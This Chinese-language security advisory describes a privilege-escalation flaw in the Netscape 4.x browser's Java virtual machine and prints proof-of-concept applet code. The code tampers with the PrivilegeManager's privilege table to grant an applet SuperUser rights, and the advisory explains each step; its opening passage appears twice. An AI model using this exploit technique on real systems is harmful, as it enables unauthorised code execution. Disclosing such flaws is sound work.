Netscape Communicator/Navigator的JVM实现使用了Symantec Just In Time(JIT)编译器,Java虚拟机在共享动态实现,并默认被Netscape Browser使用。 Netscape 4浏览器Java虚拟机实现由于部分方法被调用的时候不安全,远程攻击者可以利用这个漏洞构建恶意Java Applet,在JVM环境中装载恶意类而可能以高权限执行任意代码。 构建如下applet代码运行在Netscape 4.x web浏览器中可以导致权限提升: PrivilegeManager pm=PrivilegeManager.getPrivilegeManager(); VerifierBug bug=new VerifierBug(); MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm); Target target=Target.findTarget(\"SuperUser\"); Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED,Privilege.FOREVER); PrivilegeTable privtab=new PrivilegeTable(); privtab.put(target,priv); Principal principal=PrivilegeManager.getMyPrincipals()[0]; mpm.itsPrinToPrivTable.put(principal,privtab); try { ClassLoader cl=getClass().getClassLoader(); Class c=cl.loadClass(\"Beyond\"); c.newInstance(); } catch (Throwable e) {} 获得Privilege Manager object引用指针的值并保存在pm变量中,然后可利用Netscape JVM中的一个缺陷结合其他漏洞提升权限。 实际提升权限的攻击在如下代码中: Principal principal=PrivilegeManager.getMyPrincipals()[0];...
Netscape Communicator/Navigator的JVM实现使用了Symantec Just In Time(JIT)编译器,Java虚拟机在共享动态实现,并默认被Netscape Browser使用。 Netscape 4浏览器Java虚拟机实现由于部分方法被调用的时候不安全,远程攻击者可以利用这个漏洞构建恶意Java Applet,在JVM环境中装载恶意类而可能以高权限执行任意代码。 构建如下applet代码运行在Netscape 4.x web浏览器中可以导致权限提升: PrivilegeManager pm=PrivilegeManager.getPrivilegeManager(); VerifierBug bug=new VerifierBug(); MyPrivilegeManager mpm=bug.cast2MyPrivilegeManager(pm); Target target=Target.findTarget(\"SuperUser\"); Privilege priv=Privilege.findPrivilege(Privilege.ALLOWED,Privilege.FOREVER); PrivilegeTable privtab=new PrivilegeTable(); privtab.put(target,priv); Principal principal=PrivilegeManager.getMyPrincipals()[0]; mpm.itsPrinToPrivTable.put(principal,privtab); try { ClassLoader cl=getClass().getClassLoader(); Class c=cl.loadClass(\"Beyond\"); c.newInstance(); } catch (Throwable e) {} 获得Privilege Manager object引用指针的值并保存在pm变量中,然后可利用Netscape JVM中的一个缺陷结合其他漏洞提升权限。 实际提升权限的攻击在如下代码中: Principal principal=PrivilegeManager.getMyPrincipals()[0]; mpm.itsPrinToPrivTable.put(principal,privtab); 首先,从PrivilegeManager类的Principal列表中获取一个Principal的引用,然后修改mpm的成员变量itsPrinToPrivTable,以给用户applet类增加新的权限信息。成员变量itsPrinToPrivTable是一个hash表,它保存了类的Principals和权限列表之间的关联信息。这样的修改结果,使得一个用户applet类的Principal与系统权限表关联起来。显然,在缺省情况下,applet类的Principals有一个空的权限表,这里,将它们与系统权限表关联起来。